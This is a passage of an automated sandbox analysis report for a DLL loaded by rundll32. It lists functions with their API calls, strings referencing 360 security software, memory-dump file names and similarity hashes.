
Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180040746
LeaveCriticalSection.KERNEL32 ref: 000000018004078F

Part of subcall function 00000001800432C8: memset.MSVCRT ref: 0000000180043335

std::exception_ptr::exception_ptr.LIBCONCRT ref: 0000000180040802
std::_XGetLastError.LIBCPMT ref: 0000000180040811

Strings

x86, xrefs: 00000001800407B0
x64, xrefs: 000000018004079E
arm64, xrefs: 0000000180040713

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeavememsetstd::_std::exception_ptr::exception_ptr
String ID: arm64$x64$x86
API String ID: 4069188616-280937049
Opcode ID: 80f3249773d162cbeeb550be5abaaeac6b7c95d6a1b3ac1e44b50876622fa97b
Instruction ID: 117583cd4254ef97ff9b72dc100ece26d9127ce95370434fd6434e2e215e4972
Opcode Fuzzy Hash: 80f3249773d162cbeeb550be5abaaeac6b7c95d6a1b3ac1e44b50876622fa97b
Instruction Fuzzy Hash: 78415B71B00A1C95FA92DB20EC843D937A4F70C7E8FA58611F96A536E6DF34C68AC740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180040E18 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000180040ECE
GetProcAddress.KERNEL32 ref: 0000000180040EDE
GetCurrentProcess.KERNEL32 ref: 0000000180040EF6
std::exception_ptr::exception_ptr.LIBCONCRT ref: 0000000180040F64
std::_XGetLastError.LIBCPMT ref: 0000000180040F72

Strings

IsWow64Process2, xrefs: 0000000180040ED7
Kernel32.dll, xrefs: 0000000180040EC7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressCurrentErrorHandleLastModuleProcProcessstd::_std::exception_ptr::exception_ptr
String ID: IsWow64Process2$Kernel32.dll
API String ID: 1364622999-2175735969
Opcode ID: 6751241f688bd49d1875dc8d854f79e14c2fff9f0de6f06901ba81ab434c2c27
Instruction ID: 5a1c62e2a9ead4f3428123871bab1930646db393e55966b9c052552951b7636c
Opcode Fuzzy Hash: 6751241f688bd49d1875dc8d854f79e14c2fff9f0de6f06901ba81ab434c2c27
Instruction Fuzzy Hash: DD416531204B4991EAA2CF14EC843DA73A4FB8D794FA18226F659437A5DF38CB4DCB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003C6D8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018001AD68: InitializeCriticalSection.KERNEL32(?,?,?,?,?,000000018001AFD5), ref: 000000018001ADCE

EnterCriticalSection.KERNEL32 ref: 000000018003C719
LeaveCriticalSection.KERNEL32 ref: 000000018003C72D
LeaveCriticalSection.KERNEL32 ref: 000000018003C750
GetProcAddress.KERNEL32 ref: 000000018003C77C
FreeLibrary.KERNEL32 ref: 000000018003C7AE
LeaveCriticalSection.KERNEL32 ref: 000000018003C7BF

Strings

InitLibs, xrefs: 000000018003C772

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$AddressEnterFreeInitializeLibraryProc
String ID: InitLibs
API String ID: 388043826-2748520195
Opcode ID: d54e888b80642ae16c136f4daec8858b4574610897ae795fcaa0a3f587715d16
Instruction ID: 14a8bfa7cef1bdae3a626f07b321ff872beb2833b4a3adf2d3b4914cd80619d3
Opcode Fuzzy Hash: d54e888b80642ae16c136f4daec8858b4574610897ae795fcaa0a3f587715d16
Instruction Fuzzy Hash: 5631953661874882EBA78F25A4547AE23B0F78DFD4F1A9125ED5A473A4DF38C649CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B004 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018001B03F
GetModuleFileNameW.KERNEL32 ref: 000000018001B051
PathFindFileNameW.SHLWAPI ref: 000000018001B05C
_wcsicmp.MSVCRT ref: 000000018001B074
_wcsicmp.MSVCRT ref: 000000018001B094

Strings

QHSafeTray.exe, xrefs: 000000018001B08A
360tray.exe, xrefs: 000000018001B06A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FileName_wcsicmp$FindModulePathmemset
String ID: 360tray.exe$QHSafeTray.exe
API String ID: 2436975468-72543816
Opcode ID: a7768d738e7b534716dd32aca9e4ff23bf3b7449249a9ac96035ea6388957e04
Instruction ID: f13d88eabac643da90db78e2c45270d8f51b6174de2d3bfd56aa28c15744bb18
Opcode Fuzzy Hash: a7768d738e7b534716dd32aca9e4ff23bf3b7449249a9ac96035ea6388957e04
Instruction Fuzzy Hash: 86114230615B4882FBA6CB21EC593D62364FB8C7A5F408225E56A867E5EF3DC74DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005A8D8 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

_time64.MSVCRT ref: 000000018005A906
EnterCriticalSection.KERNEL32 ref: 000000018005A951
_time64.MSVCRT ref: 000000018005A95D
LeaveCriticalSection.KERNEL32 ref: 000000018005AAC1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection_time64$EnterLeave
String ID:
API String ID: 3499907473-0
Opcode ID: fad2f7b7927532790d07ba8be1895770e69b37db2dedf9ef4961b264574dfbe7
Instruction ID: 2d3d355faa5a201e66dfe59503a55f94d93e9d2144db4385c4ebef4b0973e561
Opcode Fuzzy Hash: fad2f7b7927532790d07ba8be1895770e69b37db2dedf9ef4961b264574dfbe7
Instruction Fuzzy Hash: B9517B31605B4889FB968F25E9543D933A5FB0EBE8F548115FD5A27764CF39C689C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180074200 Relevance: 12.1, APIs: 8, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.MSVCRT ref: 0000000180074221

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 97c6daf75c94dd34b649a7a3f9a9ab6583bbf65966f83f2829fedd4982e22aff
Instruction ID: 8158435372b26aa4a6dd2edb7174a458af360551698bfd787e5366ef90707461
Opcode Fuzzy Hash: 97c6daf75c94dd34b649a7a3f9a9ab6583bbf65966f83f2829fedd4982e22aff
Instruction Fuzzy Hash: 0441A733604A4886EAA36FA9A4003DD7290BB8C7F4F55C310FA684B7D6CF3DC6598711

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180056664 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 463registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 00000001800562D0: memset.MSVCRT ref: 000000018005630E
Part of subcall function 00000001800562D0: GetModuleFileNameW.KERNEL32 ref: 0000000180056325
Part of subcall function 00000001800562D0: PathAppendW.SHLWAPI ref: 0000000180056349
Part of subcall function 00000001800562D0: _wcsicmp.MSVCRT ref: 0000000180056364
Part of subcall function 00000001800562D0: PathAppendW.SHLWAPI ref: 000000018005637A

RegCloseKey.ADVAPI32 ref: 0000000180056B49

Strings

360Safe, xrefs: 00000001800566C5
?, xrefs: 0000000180056B12
360EntSecurity, xrefs: 00000001800566AF
SOFTWARE\Wow6432Node\, xrefs: 000000018005678F, 000000018005695A, 0000000180056B7E
SOFTWARE\, xrefs: 0000000180056852, 0000000180056A1B, 0000000180056BC8

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AppendPath$CloseFileHeapModuleNameProcess_wcsicmpmemset
String ID: 360EntSecurity$360Safe$?$SOFTWARE\$SOFTWARE\Wow6432Node\
API String ID: 2226481571-3054377637
Opcode ID: 559c51600a1c84c3d1a9e1e9348cf60bbaa67dd7de1927a7c1e5ea5049295e34
Instruction ID: 5d79a3dbe08d97a28ec647ffc4188a53122dfd3fad7d09cd3595c12d58dad182
Opcode Fuzzy Hash: 559c51600a1c84c3d1a9e1e9348cf60bbaa67dd7de1927a7c1e5ea5049295e34
Instruction Fuzzy Hash: 211261B2701A4886EB419B69C8413DD73A1FB85BF4F448711AA3D977E5DF78CA89C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004C720 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000018004C7EF
??_V@YAXPEAX@Z.MSVCRT ref: 000000018004C802
??3@YAXPEAX@Z.MSVCRT ref: 000000018004C815
_wtoi.MSVCRT ref: 000000018004C918

Part of subcall function 000000018004CD44: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018004CDF5

SysFreeString.OLEAUT32 ref: 000000018004C9F7

Strings

//reccfg/wndclass, xrefs: 000000018004C79A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FreeString$??2@??3@_wtoi
String ID: //reccfg/wndclass
API String ID: 1119205991-3779619899
Opcode ID: 9c78ad74510e5c1aaa63a647f98f978ea0f712cabf314f4090d01513adc07354
Instruction ID: aac1c87dd54dd223690f6a51cef8bcee3ce48f855a47f00273c96f55abf577db
Opcode Fuzzy Hash: 9c78ad74510e5c1aaa63a647f98f978ea0f712cabf314f4090d01513adc07354
Instruction Fuzzy Hash: D5B17A32701E489AEB81CF79C4803DC33A0F749B98F058626EA1E57B98DF38CA59C345

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180042664 Relevance: 10.7, APIs: 7, Instructions: 237networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180042CB8: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0000000180042715), ref: 0000000180042D94

htons.WS2_32 ref: 00000001800427AA
htonl.WS2_32 ref: 00000001800427B7
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800428C1
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042920
memmove.MSVCRT ref: 0000000180042957

Part of subcall function 0000000180043090: MultiByteToWideChar.KERNEL32 ref: 00000001800430C2
Part of subcall function 0000000180043090: ??_V@YAXPEAX@Z.MSVCRT ref: 00000001800430E0
Part of subcall function 0000000180043090: MultiByteToWideChar.KERNEL32 ref: 0000000180043129

??_V@YAXPEAX@Z.MSVCRT ref: 00000001800429A0
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800429CB

Part of subcall function 0000000180043214: htonl.WS2_32 ref: 0000000180043230

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWide$htonl$htonsmemmove
String ID:
API String ID: 2604728826-0
Opcode ID: 47040365556197fad99d51432fd7888eae327b64f784180218b7cf6a30f5653d
Instruction ID: c6a7ef21b5906d6b557d77442a06c91d81bd98b5ee7ca8850e16d0b233cac89c
Opcode Fuzzy Hash: 47040365556197fad99d51432fd7888eae327b64f784180218b7cf6a30f5653d
Instruction Fuzzy Hash: 21B15B36704B848AE792CF61F48039EB7B5F748788F518015EE8917A98CF38D65DDB48

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180068020 Relevance: 10.7, APIs: 7, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000018006809D
??3@YAXPEAX@Z.MSVCRT ref: 0000000180068131
??3@YAXPEAX@Z.MSVCRT ref: 000000018006818D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018001AF0F), ref: 00000001800681DE
_CxxThrowException.MSVCRT ref: 0000000180068219
?terminate@@YAXXZ.MSVCRT ref: 00000001800682C7
?terminate@@YAXXZ.MSVCRT ref: 00000001800682CD

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??3@?terminate@@$ErrorExceptionLastThrowmemmove
String ID:
API String ID: 223594506-0
Opcode ID: abe36e33305c97acef1d384f130b573a12daa0eb5c7ec11c20e9a8599c7bd32e
Instruction ID: fcc32ee8dbcfcc96106fa9aa2d9edb036d58ed735eb2ced8cd8263455d285739
Opcode Fuzzy Hash: abe36e33305c97acef1d384f130b573a12daa0eb5c7ec11c20e9a8599c7bd32e
Instruction Fuzzy Hash: 0971E472210B8882EB559F19E8403DE6321FB8DBD4F608611FBAD47B96DF38C699C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000CB00 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

SHGetValueW.SHLWAPI ref: 000000018000CBF6
_time64.MSVCRT ref: 000000018000CC10

Part of subcall function 0000000180070DD0: _errno.MSVCRT ref: 0000000180070DDE

Part of subcall function 0000000180070DD0: _errno.MSVCRT ref: 0000000180070E1F

SHGetValueW.SHLWAPI ref: 000000018000CD0C

Strings

%s_count, xrefs: 000000018000CB87
%s_lasttime, xrefs: 000000018000CB9B
CloudCfg, xrefs: 000000018000CBBA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value_errno$HeapProcess_time64
String ID: %s_count$%s_lasttime$CloudCfg
API String ID: 2146318826-610660357
Opcode ID: 391d25aba3b16aa89747ead15b5123f6840dc9e57769fc6a8d330c04b0e76dac
Instruction ID: 0a7454a278269eadbb0ffce7cefadb2dc21e45630bc3a54506c3f9663c92b6cc
Opcode Fuzzy Hash: 391d25aba3b16aa89747ead15b5123f6840dc9e57769fc6a8d330c04b0e76dac
Instruction Fuzzy Hash: DC819572215B4986EB91DB64D4807DE77A0F7887E4F508226FA5E437E9DF38CA48CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E478 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32 ref: 000000018000E612
GetHGlobalFromStream.OLE32 ref: 000000018000E64C
GlobalLock.KERNEL32 ref: 000000018000E65F
GlobalSize.KERNEL32 ref: 000000018000E66C

Part of subcall function 000000018000E6F8: ??3@YAXPEAX@Z.MSVCRT ref: 000000018000E74D

GlobalUnlock.KERNEL32 ref: 000000018000E6BE

Strings

__Location__, xrefs: 000000018000E59C

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Global$Stream$??3@CreateFromLockSizeUnlock
String ID: __Location__
API String ID: 3539542440-1240413640
Opcode ID: 258c331e991ad95c783ef0416d4c37d993b248583095014714736d7ddb22313c
Instruction ID: 0f7485e4f93bbca4fed8cf01455b67f1128db3508264a427a58b068d72c2ae23
Opcode Fuzzy Hash: 258c331e991ad95c783ef0416d4c37d993b248583095014714736d7ddb22313c
Instruction Fuzzy Hash: A6818072700A4885EB46DB75D8403DC3761F749BE8F548216EA2E577E5DF34CA89C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C68 Relevance: 10.6, APIs: 7, Instructions: 125COMMON

Download Yara Rule

APIs

CharNextW.USER32 ref: 0000000180008CA7
CharNextW.USER32 ref: 0000000180008CD3
CharNextW.USER32 ref: 0000000180008CED
CharNextW.USER32 ref: 0000000180008D05
CharNextW.USER32 ref: 0000000180008D14
CharNextW.USER32 ref: 0000000180008D81
CharNextW.USER32 ref: 0000000180008DA5

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: f29f1362136db7183f5f3bb7661024df541b93d863d4b8e8a836a3b8ce17e584
Instruction ID: 1492bbbb0fb01b81f8d7bc8417cc5d1fdb32638e21ab672acd404a2c35c9a6c4
Opcode Fuzzy Hash: f29f1362136db7183f5f3bb7661024df541b93d863d4b8e8a836a3b8ce17e584
Instruction Fuzzy Hash: 5B417236615A9881FBA2CF11D4143A833E0FB5CBD4F44C412EB8A47795EF78C7AA9305

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C97C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000CB00: SHGetValueW.SHLWAPI ref: 000000018000CBF6
Part of subcall function 000000018000CB00: _time64.MSVCRT ref: 000000018000CC10

_time64.MSVCRT ref: 000000018000C9A2

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

SHSetValueW.SHLWAPI ref: 000000018000CA52
SHSetValueW.SHLWAPI ref: 000000018000CA73

Strings

%s_count, xrefs: 000000018000C9EC
%s_lasttime, xrefs: 000000018000C9FF
CloudCfg, xrefs: 000000018000CA14

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$_time64$HeapProcess
String ID: %s_count$%s_lasttime$CloudCfg
API String ID: 1319719158-610660357
Opcode ID: 633e9513b59cb82dbd4c42a8dfc42ca5507bcd6ec68c6f3b38eaf980b99686d7
Instruction ID: 831a43b99bf02356c207f364941f14581f3732c075b2ce428cfbfee20bf611f1
Opcode Fuzzy Hash: 633e9513b59cb82dbd4c42a8dfc42ca5507bcd6ec68c6f3b38eaf980b99686d7
Instruction Fuzzy Hash: 6D416CB2701B4486EB51DB29D84079D37A1FB89BF8F048325AA2E577E5DF38C688C341

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005AAEC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000018005AB3A
PathAppendW.SHLWAPI ref: 000000018005AB4B

Part of subcall function 000000018001A470: CreateFileW.KERNEL32 ref: 000000018001A4E8
Part of subcall function 000000018001A470: GetFileSizeEx.KERNEL32 ref: 000000018001A4FF
Part of subcall function 000000018001A470: ??_U@YAPEAX_K@Z.MSVCRT ref: 000000018001A51D
Part of subcall function 000000018001A470: ReadFile.KERNEL32 ref: 000000018001A53A
Part of subcall function 000000018001A470: CloseHandle.KERNEL32 ref: 000000018001A567

??_U@YAPEAX_K@Z.MSVCRT ref: 000000018005ABCC
memmove.MSVCRT ref: 000000018005ABDE
??_V@YAXPEAX@Z.MSVCRT ref: 000000018005ABEB

Strings

..\config\msgcenter64.dat, xrefs: 000000018005AB40

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$AppendCloseCreateHandleModuleNamePathReadSizememmove
String ID: ..\config\msgcenter64.dat
API String ID: 1552649294-925171115
Opcode ID: 2b6bc0a9826245997d2484599f869692e6608d281a15ca6de91b59abf58e858d
Instruction ID: 6037bf8a0cbc718679defd9cfc68d096276397db31603676c3dd85afabd3a34b
Opcode Fuzzy Hash: 2b6bc0a9826245997d2484599f869692e6608d281a15ca6de91b59abf58e858d
Instruction Fuzzy Hash: A1316032604B8886E751CF61E8447CDBBA4F389BD4F508115FEA917BA8CF38C64ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180056534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180056572
GetModuleFileNameW.KERNEL32 ref: 0000000180056589
PathAppendW.SHLWAPI ref: 00000001800565AD

Part of subcall function 0000000180056400: memset.MSVCRT ref: 00000001800564A0
Part of subcall function 0000000180056400: RegCloseKey.ADVAPI32 ref: 00000001800564F2

_wcsicmp.MSVCRT ref: 00000001800565C8
PathAppendW.SHLWAPI ref: 00000001800565DE
PathFileExistsW.SHLWAPI ref: 00000001800565FA

Strings

